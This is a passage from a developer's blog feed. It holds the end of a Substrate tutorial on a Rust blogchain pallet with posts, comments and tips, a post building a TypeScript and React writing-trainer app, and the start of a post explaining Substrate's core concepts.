That’s it for types and storage. Next, we’ll implement our functionality.

Functions and extrinsics

Let’s start with an extrinsic function for creating a blog post.

    #[pallet::weight(10000)]
    #[transactional]
    pub fn create_blog_post(origin: OriginFor<T>, content: Vec<u8>) -> DispatchResult {
            let author = ensure_signed(origin)?;
    
            ensure!(
                    (content.len() as u32) > T::BlogPostMinBytes::get(),
                    <Error<T>>::BlogPostNotEnoughBytes
            );
    
            ensure!(
                    (content.len() as u32) < T::BlogPostMaxBytes::get(),
                    <Error<T>>::BlogPostTooManyBytes
            );
    
            let blog_post = BlogPost { content: content.clone(), author: author.clone() };
    
            let blog_post_id = T::Hashing::hash_of(&blog_post);
    
            <BlogPosts<T>>::insert(blog_post_id, blog_post);
    
            let comments_vec: Vec<BlogPostComment<T>> = Vec::new();
            <BlogPostComments<T>>::insert(blog_post_id, comments_vec);
    
            Self::deposit_event(Event::BlogPostCreated(content, author, blog_post_id));
    
            Ok(())
    }

Let’s start from the top. With pallet::weight, we define the computational weight of this extrinsic. In this case, we hardcode it because this is just a simple example. This value should have a relation to the amount of processing resources that are needed for this operation to happen and the fee for executing this operation will include this weight, so the higher the weight, the higher the transaction fees for executing an extrinsic.

The transactional macro makes it so that any state changes within this extrinsic are only made if it returns no error. This is similar to transactional behavior with relational databases, where you only want to persist a change if all changes go through. We need this here because we add both a new blog post and an empty list of comments.

The first thing we do is validate the transaction and the author of the transaction. This gives us the account ID of the user who triggered the extrinsic. We also define an incoming content vector, which we also expect to be given by the caller here.

Then, we use the ensure! macro, which is similar to an assertion, to validate that the blog post is inside of our length barriers, triggering an error if it isn’t.

Once validation has passed, we create a blog post struct with our content and author and the blog_post_id, which is hash over this struct.

This struct is then added to the BlogPosts StorageMap and we initialize an empty list of comments and persist it in the BlogPostComments StorageMap. This means that this function actually changes the state on the blockchain.

Once everything is done, we trigger the BlogPostCreated event, which clients can listen to to see if anything has changed.

It’s actually pretty simple, right? This is similar to how you’d implement a handler in a web application. That’s all there is to adding a simple extrinsic that enables users to interact and manipulate the shared state of our application. No magic required.

The implementation of adding comments and tipping are equally straightforward. Let’s look at those next.

    #[pallet::weight(5000)]
    pub fn create_blog_post_comment(
            origin: OriginFor<T>,
            content: Vec<u8>,
            blog_post_id: T::Hash,
    ) -> DispatchResult {
            let comment_author = ensure_signed(origin)?;
    
            ensure!(
                    (content.len() as u32) > T::BlogPostMinBytes::get(),
                    <Error<T>>::BlogPostCommentNotEnoughBytes
            );
    
            ensure!(
                    (content.len() as u32) < T::BlogPostMaxBytes::get(),
                    <Error<T>>::BlogPostCommentTooManyBytes
            );
    
            let blog_post_comment = BlogPostComment {
                    author: comment_author.clone(),
                    content: content.clone(),
                    blog_post_id: blog_post_id.clone(),
            };
    
            <BlogPostComments<T>>::mutate(blog_post_id, |comments| match comments {
                    None => Err(()),
                    Some(vec) => {
                            vec.push(blog_post_comment);
                            Ok(())
                    },
            })
            .map_err(|_| <Error<T>>::BlogPostNotFound)?;
    
            Self::deposit_event(Event::BlogPostCommentCreated(
                    content,
                    comment_author,
                    blog_post_id,
            ));
    
            Ok(())
    }

As you can see, the weight here is a bit less; there’s less to do and we’d want to make commenting a bit cheaper than posting to encourage discussion.

The process is similar: we check the author, validate the content, and create a struct for the comment.

However, this time, instead of simply adding a value to an existing map, we need to manipulate an existing entry. For this purpose, we use the mutate method on the StorageMap. If we don’t find a value, we trigger a BlogPostNotFound error. This happens if the user sends an invalid blog post ID.

If a blog post is found, we simply push the blog post comment onto the vector of comments and trigger the event for notifying clients of this change — easy.

For our tipping feature, we want users to provide a blog post ID and an amount they’d like to send to the author. Let’s look at how that works.

    #[pallet::weight(500)]
    pub fn tip_blog_post(
            origin: OriginFor<T>,
            blog_post_id: T::Hash,
            amount: <<T as Config>::Currency as Currency<<T as frame_system::Config>::AccountId>>::Balance,
    ) -> DispatchResult {
            let tipper = ensure_signed(origin)?;
    
            let blog_post = Self::blog_posts(&blog_post_id).ok_or(<Error<T>>::BlogPostNotFound)?;
            let blog_post_author = blog_post.author;
    
            ensure!(tipper != blog_post_author, <Error<T>>::TipperIsAuthor);
    
            T::Currency::transfer(
                    &tipper,
                    &blog_post_author,
                    amount,
                    ExistenceRequirement::KeepAlive,
            )?;
    
            Self::deposit_event(Event::Tipped(tipper, blog_post_id));
    
            Ok(())
    }

As you can see, we expect the blog_post_id, a T::Hash, and the amount, which is a Balance of the configured Currency in our pallet.

We validate the tipper and check whether the given blog post ID actually leads to an existing blog post, returning an error if not.

If we find a blog post, we need to retrieve its author from the struct and make sure the tipper is not the same as the author. This wouldn’t be the end of the world, but it also doesn’t make sense to pay fees to send yourself money.

Then, if everything is OK, we use the T::Currency::transfer function on our pallet’s Currency — remember, this is why we added the Currency handler in the beginning of the tutorial to our pallet — to send the amount of funds from the tipper to the blog_post_author. We won’t worry about the ExistenceRequirement flag in this post, but if you’re interested, you can read up about it in the Substrate docs.

That’s all the functionality we’ll implement for now. You can imagine implementing many more interesting features here, such as the ability for authors to delete their blog posts, which could refund a part of the tips. Or you could implement a moderation feature, where users could flag posts as inappropriate. You could even implement a financial incentive system that rewards users who provide and confirm/deny flagging reports.

Once you start thinking in terms of this system of incentives and game theory, being able to easily implement and tune these systems is quite cool. There’s lots of room to experiment and come up with new ideas to run collaborative systems.

Let’s test our system to see if it works!

Testing

Now, to test our simple app, let’s build it for release first:

    cargo build --release

Next, we’ll start a local node in development mode with a fresh state every time we start it:

    ./target/release/node-blogchain --tmp --dev

To interact with our application, we have two options:

The Substrate Front End Template
The Polkadot-JS App UI

Here, we’ll use the Substrate Front End Template, but feel free to play around with the Polkadot-JS app, setting it to Development → Local Node.

To download, set up, and start the frontend template, simply execute:

    git clone https://github.com/substrate-developer-hub/substrate-front-end-template.git
    cd substrate-front-end-template
    yarn install
    yarn start

This will start a frontend application at http://localhost:8000/substrate-front-end-template.

There, you can already see your blockchain application state. At the top-right, you can see the selected account and switch between existing accounts.

Below, you can see the currency balance for each account:

Now, let’s create our first blog post by using the Pallet Interactor on the bottom left. We select the blogchain pallet and the createBlogPost extrinsic. Then, write some text (at least 64 bytes, at most 4096 bytes) in the content field and click Signed.

Great! The blog post creation worked, as we can see on the right in the Events feed.

Let’s query for our blog post by selecting the Query radio button. Then, select the blogchain pallet again and the blogPosts storage (this is our actual StorageMap, which we defined above). Then, from the Events feed, copy the blog post’s ID, paste it into the form, and click Query.

If we use a valid blog post ID, we will get the persisted data on the chain for this entry in the following form:

    {"content":"0x5468697320697320616e20696e746572657374696e672c20696e6e6f76617469766520616e642077656c6c207772697474656e20626c6f6720706f73742e20496e207468697320626c6f6720706f73742077652077696c6c206578706c6f7265207665727920696e746572657374696e6720636f6e636570747321","author":"5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY"}

The content is the hex-encoded string. You can use a free online tool to convert it to a string:

You can also find the author field in the JSON, which corresponds to the account ID you can find in the Balances table.

Next, let’s create a comment. Switch to Bob’s account in the top right and use the Pallet Interactor to find blogchain → createBlogPostComment.

Enter the blog post ID again and a comment (64–1024 bytes in length). Upon clicking Signed, we can see the Event feed again, which indicates that the fee was withdrawn from Bob’s account and the extrinsic worked.

Now we can query for the comment as well:

Finally, let’s send a tip to the author of this blog post:

And we can see how the balances changed:

That’s it - it works! Very cool stuff.

Feel free to play around some more with the application through the frontend template. For example, you can see what happens in error cases (e.g., a blog post that’s too short) in the event feed. Happy exploring!

Conclusion

Based on Substrate Node Template and using the official docs, we were able to build a very simple custom blockchain application using Substrate.

Of course this post only scratches the surface of blockchain development with Substrate, but as you can see in this example, extending the Substrate template to build custom logic on top is rather straightforward.

In terms of development experience, one area that certainly needs improvement is compile times. The cycle of making changes and testing these changes takes quite a bit of time, even on strong hardware, which can be frustrating when you’re learning and testing things out.

That said, Substrate as a framework, despite it and the whole blockchain development ecosystem being very young, has proven quite robust with fantastic docs, examples, and tutorials to draw from already, as well as a vibrant and helpful community behind it.

A Writing Trainer written in TypeScript and React

25 Feb 2022 00:00 +0000

Ever since I started studying philosophy during my sabbatical last year, writing has been one of the skills I wanted to improve on outside of university, since it’s a core skill within academia, but also highly useful across just about any other area.

I’m not very confident in my writing skills both in German and English, even though I’ve been writing for this blog for several years and also did some “professional” writing in the form of writing blog posts for Logrocket. The reason for this is that after school, I’ve never actively worked on writing as a skill. I write and I try to incorporate the feedback I get, but essentially I rely on my spoken language skills and a lot of reading to carry me through so far.

However, whenever I read anything by an experienced and skilled writer, I can’t help but notice the difference to my own writing. Reading a well written article, book, essay, etc. is a pristine experience and can by itself push the written piece towards its goal.

Luckily, during the course of my philosophy studies, I will go through some formal education on writing, especially concerning academic writing. However, I figure that there are some parallels to learning how to program, which is what I spent most of my time during the last decade in that there’s always room to improve and a university course ranging over a semester is just not enough to get good. Getting good at anything takes time, it takes repetition in the form of deliberate practice.

I asked some of my friends who write more and way better than me, what are some good starting points to get better at writing and one suggestion was to do short writing drills. These are small writing exercises aimed at getting more comfortable with writing and to improve vocabulary and style at the same time without any pressure of having to publish the nonsense you’re writing afterwards.

The idea is to grab a random topic, or a random list of words and, for a specific amount of time, say 7 minutes, just write and don’t stop. That’s it. Afterwards you can delete what you wrote, or, if you like what you did, keep it around and maybe continue working on it.

I thought that’s a cool idea, as it reminded me of programming katas and of the exercises we did during coding dojos, where we’d come up with a certain restriction ( e.g.: no IF’s, no loops) and implement the same simple program (e.g. Conway’s Game of Life) with these restrictions as an exercise and afterwards deleted the code.

Cool, so we have an idea for an exercise and of course, being a programmer at heart, the first thing I thought was “that’s a great use-case for playing around with TypeScript, which I’ve been wanting to do for a while” and here we are.

We’ll build a simplistic Express backend API using TypeScript, which will just provide us a list of random words requested from our frontend. This will be similar to this cool project where I stole the language files, but as I said, much more simple.

Also, we will build a UI for the app, where we can configure the amount of words we want to use, the length of time we want to write in minutes and a language switcher between German and English. There will also be a text field to write in, a timer and an indicator which of the words we already used in our text.

Awesome, let’s go!

Server Implementation

Let’s start with the server, since it’s very simple. We’ll base the whole thing on Express and we’ll just create two endpoints:

GET /words/de/$number - returns $number German words
GET /words/en/$number - returns $number English words

The only dependencies we’ll use are typescript, express and cors.

We’ll put the above mentioned JSON files containing words in German and English in ./languages/de.json and ./languages/en.json.

Let’s just look at the whole server code at once at walk through it, as it’s quite simple and short.

import express, { Application, Router, Request, Response } from 'express';
import cors from 'cors';
import * as fs from 'fs';

const de_words: String[] = JSON.parse(fs.readFileSync('./languages/de.json', {encoding:'utf8', flag:'r'}));
const en_words: String[] = JSON.parse(fs.readFileSync('./languages/en.json', {encoding:'utf8', flag:'r'}));

const app: Application = express();
const route = Router();

route.get("/words/de/:num", async(req: Request, res: Response): Promise<any> => {
    const num: number = parseInt(req.params.num);

    if (num > 100 || num < 1) {
        res.status(400);
        return res.json({
            error: "number needs to be between 1 and 100"
        })
    }

    return res.json({
        words: n_random_words_from_file(de_words, num),
    });
});

route.get("/words/en/:num", async(req: Request, res: Response): Promise<any> => {
    const num: number = parseInt(req.params.num);

    if (num > 100 || num < 1) {
        res.status(400);
        return res.json({
            error: "number needs to be between 1 and 100"
        })
    }

    return res.json({
        words: n_random_words_from_file(en_words, num),
    });
});

function rand(min: number, max: number) {
    return Math.floor(
        Math.random() * (max - min) + min
    )
}

function n_random_words_from_file(file: String[], num: number): String[] {
    const len = file.length;
    const random_nums: number[] = [];
    let i = 0;

    while (i < num) {
        let new_rand = rand(0, len);
        if (random_nums.includes(new_rand)) {
            continue;
        }
        i++;
        random_nums.push(new_rand);
    }
    return random_nums.map((n) => file[n])
}


app.use(express.json());
app.use(cors());
app.use(route);

app.listen(8080, () => {
    console.log("Server running on port 8080");
});

First, we use fs.readFileSync and JSON.parse to read the two language files into memory, before the server starts. Then we configure the Express app and add our two routes /words/de and /words/en with a numeric parameter :num.

Within the handler, we parse the numeric parameter, validate that it’s between 1 and 100, returning an error if it isn’t, and return a JSON result of the form:

{
    "words": ["one", "two"]
}

We get the data by calling the helper function n_random_words_from_file, which we pass the numeric parameter and the JSONified contents of our language file.

Within this function, we first determine the amount of words in the file and simply create unique n random numbers, where n is the numeric value given by the client, adding these numbers to an array and returning an array of these numbers mapped to the n’th position within the language file, giving us n random words within the given language file.

Then we just finish the Express config, adding a default CORS config, setting up our router and start the app on port 8080. That’s it.

For convenience, we also add a run.sh script to compile typescript and start the server

#!/bin/bash -e

./node_modules/.bin/tsc && node build/index.js

That’s it for the API - as I said, it’s very simple and the impact TS had in such a simple app was minimal, so I won’t even go into it and instead we’ll move on to the UI implementation.

Client Implementation

The UI implementation is based on Create React App. You can create a new fully wired up React project with TypeScript support using this command:

npx create-react-app ui --template typescript

I’m usually not a big fan of these magic scaffolding tools, but in this case, since I wasn’t really interested in how to set up a TypeScript build process with React etc., but rather just how to build a modern React app with TypeScript, I thought it’s fine to go this route. For any production-grade application, I would always recommend understanding your build-pipeline 100% and to go for a minimal footprint.

This is a bit more work in the beginning, but understanding how this works will pay dividends down the line and you’ll be able to re-use much of what you research, configure and set up once. Anyway, you do you and this is the reason I went this route in this toy project.

We’ll start writing the UI from the top down at App.tsx, building the state handling mechanism and the basic structure and then implementing the smaller components we’ll need for the actual user interface. The CSS and base HTML won’t be covered in this post, as it’s very simplistic and not relevant to the example, but you can always check out the whole code here.

Let’s start with our application state in App.tsx:

type State = {
  running: boolean,
  currentTimer: number,
  stopTime: Date | null,
  words: WordState[],
};

export type WordState = {
  word: string,
  used: boolean,
};

For this app we don’t need much state floating around. We need to know, whether the app is running (i.e. the timer is running down), when the timer should stop, as well as the remaining time and a WordState, where for each random word we get, we check if it has been used already. That way, we can show the user which words they already used.

Based on this, we can define our actions and the initial app state.

type StartPayload = {
  minutes: number,
  words: string[],
};


export type Action = 
  | { type: 'start'; payload: StartPayload }
  | { type: 'reset' }
  | { type: 'updateWords', payload: WordState[] }
  | { type: 'tick' };

const initialState: State = {
  running: false,
  currentTimer: 0,
  words: [],
  stopTime: null,
};

There are 4 types of actions:

start - starts the timer with the given words, and minutes
reset - resets everything back to the initialState
updateWords - update the WordState of a word while a user types
tick - happens every second, when the timer is running, to count down the remaining time and rerender the UI Timer

Next, we come to our reducer - the heart of our state management, where we define which state changes should happen based on the different actions.

const reducer = (state: State, action: Action): State => {
  switch (action.type) {
    case 'start': {
      const stopTime = new Date();
      stopTime.setMinutes(stopTime.getMinutes() + action.payload.minutes);
      return {
        running: true,
        currentTimer: action.payload.minutes * 60,
        words: action.payload.words.map((word: string) => ({ word, used: false })),
        stopTime,
      }
    }
    case 'tick': {
      let newTimer = state.currentTimer - 1;
      return {
        running: newTimer === 0 ? false : state.running,
        currentTimer: newTimer,
        words: state.words,
        stopTime: state.stopTime,
      }
    }
    case 'updateWords': {
      return {
        running: state.running,
        currentTimer: state.currentTimer,
        words: action.payload,
        stopTime: state.stopTime,
      }
    }
    case 'reset': {
      return initialState;
    }
    default:
      return initialState;
  }
};

When a start action happens, we calculate the stopDate, set the remaining time and set the words from the action payload (we’ll get to the data fetching later). The updateWords action simply overrides the words entry in the state with the newly calculated value in the payload and reset resets us to the initial state. That’s it for state handling.

Based on this state, our top level App component is pretty simple.

function App() {
  const [state, dispatch] = useReducer(reducer, initialState);

  const startWriting = (minutes: number, words: number, lang: String) => {
    axios.get(`http://localhost:8080/words/${lang}/${words}`)
      .then((response: Response) => {
        const words = response.data.words;
        dispatch({ type: 'start', payload: {
          minutes,
          words
        }});
      })
      .catch((error: AxiosError) => {
        alert(`error while fetching words: ${error}`);
      });
  };

  const updateText = (event: ChangeEvent<HTMLTextAreaElement>) => {
    const text = event.target.value;
    dispatch({
      type: 'updateWords',
      payload: state.words.map((w: WordState) => {
        return {
          word: w.word,
          used: text.includes(w.word),
        };
      })
    });
  };

  const stopWriting = () => {
    dispatch({ type:'reset' });
  };

  return (
    <div className="App">
      <div className="Inner">
        <Header 
          startWriting={startWriting}
          running={state.running}
          stopWriting={stopWriting}
        />
        <Words words={state.words} />
        <Text updateText={updateText} running={state.running} />
        <Timer 
          timer={state.currentTimer}
          running={state.running}
          dispatch={dispatch}
          stopTime={state.stopTime}
        />
      </div>
    </div>
  );
}

We make sure to use our defined reducer, initializing our state to initialState. Then we define the actions for startWriting, stopWriting and updateText. In the startWriting action, we make a GET call to our API with the given time, word count and language from the UI. We’ll pass this function down to the Header component, where it will be called with the values given by the user. If the request works, we dispatch a start action with the given minutes and the random words from our API.

For stopWriting, we simply trigger our reset action, since in that case we want to reset to our initial state and nothing else. The updateText action will be passed to the Text component and called there onChange. It basically updates the words state by checking, if the text within the textarea includes the given word for each word. This could be implemented more efficiently, but we don’t expect any text or word sizes here where this would become an issue.

Then, we define the markup for our top level component. Within the outer styling div’s, we start with the Header component including the form fields for configuring the app, followed by Words, which includes the list of words and their status (used/not used). After that, we have the Text component, which essentially just contains a text area the user can type in with the given change handler and finally we have the Timer component, which shows the user a timer at the bottom counting down from the amount of seconds the user has given themselves to zero.

Let’s look at the components in order, starting with the Header.

function Header(props: {
  startWriting: (minutes: number, words: number, lang: String) => void,
  stopWriting: () => void,
  running: boolean,
}) {
  const [numberOfWords, setNumberOfWords] = useState(5);
  const [numberOfMinutes, setNumberOfMinutes] = useState(7);
  const [lang, setLang] = useState("de");

  const handleNumberOfWordsInput = (event: ChangeEvent<HTMLInputElement>) => {
    setNumberOfWords(parseInt(event.target.value || "5"));
  };

  const handleNumberOfMinutesInput = (event: ChangeEvent<HTMLInputElement>) => {
    setNumberOfMinutes(parseInt(event.target.value || "7"));
  };

  const handleLangChange = (event: ChangeEvent<HTMLInputElement>) => {
    setLang(event.target.value);
  };

  return (
    <div className="Header">
      <span>
        <input onChange={handleNumberOfWordsInput} type="text" placeholder="Number of Words" />
      </span>
      <span>
        <input onChange={handleNumberOfMinutesInput} type="text" placeholder="Number of Minutes" />
      </span>
      <span>
        <input checked={lang == "de" ? true : false} type="radio" name="lang" value="de" id="de" onChange={handleLangChange} />
        <span>DE</span>
        <input checked={lang == "en" ? true : false} type="radio" name="lang" value="en" id="en" onChange={handleLangChange} />
        <span>EN</span>
      </span>
      <span>
        {!props.running ? <button onClick={() => { props.startWriting(numberOfMinutes, numberOfWords, lang)}}>Start</button> : <button onClick={() => { props.stopWriting() }}>Stop</button>}
      </span>
    </div>
  );
}

As mentioned above, this is where the user can configure their writing trainer run. We have text fields for the Number of Words and Number of Minutes, as well as a radio element for setting the language to EN, or DE. When the user clicks the Start button, we trigger the passed in startWriting function. The values of the word count, minutes and language are managed within the component using React’s useState and basic HTML event handlers. For passing around handlers such as this and working with DOM events, TypeScript was fantastic. One aspect is that even passing handlers between components, if you forget to pass a parameter or use a wrong one (e.g. when changing something), TypeScript will notice it and show an error. Also, auto-completion support is just on a whole different level when using TypeScript, so even in this very small app, I already noticed the massive benefits switching to TypeScript would have in a huge code base with multiple people working on it.

Anyway, when a timer is running, we display a Start button, otherwise a Stop button and they trigger their respective actions in each case. Let’s move on to the Words component.

function Words(props: { words: WordState[] }) {
  return (
    <div className="Words">
      {
        props.words.map((word: WordState) => {
          return <span key={`${word.word}`} className={ word.used ? "active" : "inactive"}>
            {word.word}
          </span>
        })
      }
    </div>
  );
}

This is a simple one. We pass in the words from the state and we map them to span elements with different classes (red, or green color) depending on whether they have been used, or not.

The next component is also very simple, it’s essentially just a text area in Text.

function Text(props: {
  updateText: (event: ChangeEvent<HTMLTextAreaElement>) => void,
  running: boolean,
}) {
  return (
    <div className="Text">
      <textarea disabled={!props.running} placeholder="Start Typing..." onChange={props.updateText} />
    </div>
  );
}

As mentioned above, the Text component consists only of a textarea with a change handler. We also disable the text area if we’re not in running state, but that’s all that’s happening here.

Finally, let’s look at the Timer component.

function Timer(props: { timer: number, running: boolean, stopTime: Date | null,  dispatch: Dispatch<Action> }) {
  useEffect(() => {
    let interval: any;
    if (props.running) {
      interval = setInterval(() => {
        props.dispatch({ type: 'tick' })
      }, 1000);
    } else {
      clearInterval(interval);
    }
    return () => clearInterval(interval);
  });

  const now: number = new Date().valueOf();

  let diff = props.stopTime ? (props.stopTime.valueOf() - now) / 1000 : 0;
  if (diff <= 0) {
    diff = 0;
  }

  return (
    <div className="Timer" key={props.timer}>
      {Math.round(diff)}
    </div>
  );
}

Here we can see the use of useEffect, which is the replacement for React’s lifecycle methods and enables us to trigger side-effects during different points in the component’s life.

In this case, we set an interval for this component, triggering a tick action every 1000 ms if we’re in running state and clear the interval otherwise. This enables us to tick down the seconds in our state and to re-render this component on every tick by passing in the remaining time. We also return the clearInterval function from the component, so that the interval is cleared whenever the component is destroyed.

The rest of the component just consists of calculating the remaining time and displaying it to the user. And with that, we created our UI, which looks like this:

That’s it - you can find the whole code here.

Conclusion

I did some writing sessions with this bad boy and it’s actually quite fun. Whether I’m getting better at writing is something we’ll hopefully see over the next months and years, but I can definitely see a training exercise like this to be recurring part of a scheduled program focused on deliberate practice concerning writing.

Also, having used TypeScript for the first time in anything I wrote myself (I did edit and review some TS code before from other people), I have to say it definitely seems like the game changer it has been talked about to me by my JavaScript friends and colleagues. Especially coming from Rusts fantastic strict type system and compiler, having this amount of safety in a language like JavaScript is a breath of fresh air when it comes to frontend development. This little project also gave me the opportunity to play around with “modern” (i.e. 2022) React and the new modes for handling state in the form of hooks (I was still used to ²⁰¹⁵⁄₂₀₁₆ React using Redux :D).

All in all, this has been a great experience and I can definitely see myself building some more fun stuff with TypeScript.

Resources

Substrate blockchain development: Core concepts

15 Jan 2022 00:00 +0000

This post was originally posted on the LogRocket blog on 31.12.2021 and was cross-posted here by the author.

In a previous article, we took a look at how to implement a basic blockchain application in Rust. This blockchain app featured an absolute minimal subset of functionality and was far from usable in production. However, it was a good exercise to explore how to implement core blockchain concepts and how they might look in Rust.

The next step is to explore how to build an actual, real-world blockchain. We won’t build it from scratch — that would far exceed the scope of a single article, or even a series of articles. Instead, we’ll leverage the Substrate blockchain framework for this task.

The objective of this tutorial is to help you understand what Substrate is and isn’t, the core concepts behind it, and how to build a real-world blockchain applications.

With the immense scope of this framework, we can only hope to scratch the surface, but the goal is to give you all the context and resources you need to take the next step. I hope this guide helps you cope with the overwhelming amount of new ideas you’ll be exposed to when you first start to explore the world of blockchain development.

Let’s get started!

What is Substrate?

Substrate can be described as a blockchain framework — specifically, a framework for building customized blockchains. These blockchains can be run entirely autonomously, which means they don’t depend on any external technology to run.

However, Parity, the company behind Substrate (cofounded by Ethereum cofounder Gavin Wood), also built the Polkadot network. Polkadot is essentially a decentralized, protocol-based blockchain platform for enabling secure cross-blockchain communication.

That means Polkadot can be used as a kind of bridge between blockchains, taking care of the communication layer between chains and making it possible to interact between different blockchains (even systems such as Ethereum and Bitcoin). This represents significant progress toward making the vision of Web3 — a decentralized, blockchain-based version of the internet — a reality.

Since they were developed by the same people, Substrate has first-class support for integrating with Polkadot, so any blockchain you create with Substrate can seamlessly be hooked into Polkadot.

Substrate also provides forkless runtime upgrades — the ability to upgrade the state transition function of the blockchain without triggering a hard fork.

What is a blockchain framework?

Now that we have some context, what is a blockchain framework, in simple terms? Essentially, a blockchain framework is a (huge) collection of tools and libraries for building a whole, runnable, secure, feature-complete (albeit basic) blockchain.

A blockchain framework takes care of most of the heavy lifting when it comes to:

Consensus
P2P networking
Account management
Basic blockchain logic (blocks, transactions etc.)
A client to interact with the blockchain

Of course, with the vast amount of code provided, Substrate also comes with extensive docs and tutorials to help you to get started.

If you’ve worked with an extensive web framework before, a blockchain framework is — nothing like that at all. The scope, number of moving parts, relevant concepts, and extension points are simply at a different scale.

A better comparison might be a fully-fledged game engine (think Unity) that provides a basic implementation for everything you’ll definitely need and a lot of what you might need with extension points everywhere for you to customize.

Is Substrate customizable?

Of course, this means some decisions have been made in terms of architecture, which you won’t be able to easily change. Depending on your use case, you might need more customizablity, which a framework might restrict in some way. That’s the standard tradeoff: a blockchain framework saves you time at the expense of some things you’ll simply have to live with.

However, as we’ll explore in more detail below, Substrate provides some flexibility in this regard, enabling you to choose between more technical freedom and ease of development at several stages.

Substrate’s backend is built in Rust. It (and most of what Parity does in general) is also fully open source. So you can not only use Substrate, but also improve it by contributing back and forking parts of it to customize to your own needs.

How does Substrate work?

Now that we know what Substrate is, let’s get a high-level overview of the framework, its moving parts, and the extension points we can use to create a custom blockchain.

Since we’re dealing with a decentralized peer-to-peer system here, the basic unit we’re talking about is a node. This is where our blockchain runs.

This node is run inside a client and provides all the basic components the system needs to function, such as p2p-networking, storage of the blockchain, the logic for block processing and consensus, and the ability to interact with the blockchain from the outside.

When we start a new Substrate project, we have three options to choose:

Substrate Node
Substrate FRAME
Substrate Core

Let’s explore each option in more detail.

Substrate Node

We’ll start at the top with Substrate Node. This is the highest level we can start at; it provides the most prebuilt functionality and the least technical freedom. It’s fully runnable and includes default implementations for all basic components, such as account management, privileged access, consensus. and so forth. We can customize the genesis block (i.e., initial state) of the chain to start out.

Here, we can run the node and get familiar with what Substrate provides out of the box, playing around with the state and interacting with the running blockchain to get familiar. Another way to accomplish the same is to use the Substrate Playground, where you can check out both the backend and frontend templates to familiarize yourself with them.

Once we’re ready to really build our own blockchain, however, we’d be better off going one level lower and using FRAME.

Substrate FRAME

FRAME (Framework for Runtime Aggregation of Modularized Entities) is a framework for building a Substrate runtime from existing libraries and with a high degree of freedom to determine our blockchain’s logic.

We’re essentially starting from Substrate’s prebuilt node template and can add so-called pallets — Substrate’s name for library modules — to customize and extend our chain. We’re also able, at this level of abstraction, to fully customize our blockchain’s logic, state and data types. This is certainly where most basic customization projects that aim to be close to Substrate leverage the best of both worlds between ease of development and technical freedom.

From this starting point, we have to invest minimal time in setting up our blockchain and can focus fully on our own customizations. We’ll still have to take some defaults as they come — or, rather, as they can be configured — but if we fundamentally want to do things differently, we can go one step lower still by starting from Core.

Substrate Core

Substrate Core essentially means we can implement our runtime in any way we want, as long as it targets WebAssembly and adheres to the fundamental laws underlying Substrate’s block creation. Then, we can use this runtime and run it within the Substrate node.

This approach certainly requires the most work and the highest level of difficulty, but it also comes with the highest degree of technical freedom while still being able to work seamlessly within the Substrate ecosystem.

Speaking of Substrate’s ecosystem, there is a vibrant community of developers using Substrate in their own projects, many of whom contribute back to the ecosystem by sharing their own pallets.

You can find pallets by using a site such as Substrate Marketplace or simply wherever Rust crates are hosted, since Substrate pallets are essentially self-contained Rust libraries you can integrate into your Substrate project and configure as you need. As with any other library, it’s advisable to audit the code first and to be aware of the tradeoffs of relying on external code versus writing your own.

After playing around a bit with a prebuilt node, we should focus on FRAME, learning how to build a custom blockchain by building on top of the Substrate template node. This is also where many of the fantastic tutorials we’ll take a look at later in the article start off.

Next, we’ll go over some of the core concepts tht make up a Substrate blockchain, adding some color to our rough picture of how this all fits together.

Core concepts of Substrate blockchain development

To get a deeper understanding of Substrate, we’ll explore some core concepts of the framework.

The journey begins at the runtime, the heart piece of your custom blockchain. Then we’ll look at consensus and storage — where our blockchain lives and how all nodes agree which is the correct one.

We’ll finish our expedition by touching on extrinsics, transactions and execution, including how to interact with the blockchain, what such an interaction looks like, and how it becomes part of our blockchain state.

Runtime

The runtime of your Substrate-based application is the heart and soul of the project. It contains a description of what kind of state can be present on the chain as well as the logic, which guides how the blockchain goes from one state to the next. I

In Substrate, the runtime is also called the state transition function. You can imagine the whole blockchain as a state machine. The runtime defines the rules for going from one state to the next. This means the runtime is absolutely central and, in fact, where you’ll spend a majority of your time when implementing your custom Substrate blockchain.

Substrate itself adheres to the principle of trying to be as open as possible when it comes to custom runtimes. There are some interfaces with which any runtime has to be compatible, but beyond that, you have full technical and creative freedom to implement things as you think they should be.

Additionally, as mentioned above, you can use FRAME to compose existing modules (pallets). That includes the 50+ pallets shipped with Substrate and the ones provided by third-party developers to build your runtime.

Some examples for functionality that falls into the category of a runtime include the logic behind building a new block, integrating data from outside the chain, and handling accounts down to actual cryptographic primitives to use.

Learning about runtime development and it’s facets will be central to successfully using Substrate in the long run.

Consensus and accounts

Because blockchain systems are peer-to-peer and (usually) consist of multiple nodes without any hierarchy between them, there’s the inherent problem of agreeing on the correct state.

If multiple participants in the network attempt to make changes to the state, the validity and order of these transactions might be different depending on where you are in the network (i.e., when you were notified of the changes). This can lead to conflicts between different parts of the network that need to be resolved quickly and safely,so the network can continue to function.

Blockchain systems use consensus engines for exactly this purpose. These engines implement rules that define how state-transition needs to happen (guaranteeing that it’s deterministic) and how to resolve conflicts. This touches on block creation, finality (i.e., knowing when a transaction is completed) and fork choice/conflict resolution between competing states.

Substrate provides a handful of consensus options already, but it’s also possible to roll out your own, depending on your exact needs, or to mix, match, and extend existing solutions.

As for accounts — the notion of a participant in the network — Substrate also has us covered. As usual with blockchain systems, an account consists of one or a set of public/private key pairs.

Substrate also provides, besides very basic account handling, the possibility for accounts with different use cases.

There are the concepts of a stash key and a controller key. A stash key, or key pair, in Substrate defines a stash account where you might keep a large number of funds. Here, the security of the key is very, very important and should be kept offline. You should almost never directly interact with the chain using a stash account.

Controller accounts are used when your use case requies frequent interaction with the chain. They can be designated by stash keys as proxies. These accounts are used for direct interaction and only need enough funds to cover transaction fees. The keys still need to be secured, but since they control fewer funds, the stakes aren’t that high.

Read more about the existing account and session implementation in Substrate in the official documentation. Of course, it’s possible to extend or replace these parts as well.

Extrinsics and transactions

In a blockchain, there are extrinsics and intrinsics — things that happen outside the chain and things that happen inside the chain.

Extrinsics are necessary for interacting with the state of the blockchain from the outside — for example, to put some new piece of information to the state or to make a change. In fact, a block in a Substrate blockchain contains a header and an array of extrinsics — information from outside the chain.

For example, let’s say we have a custom Substrate blockchain where we collect quotes from philosophic texts. If I want to add a new cool quote I just read, I would use my custom-implemented add_quote extrinsic — think of it like a function, which I call with a string — and execute it by creating a signed transaction, sending the necessary transaction fee based on the defined weight of the function.

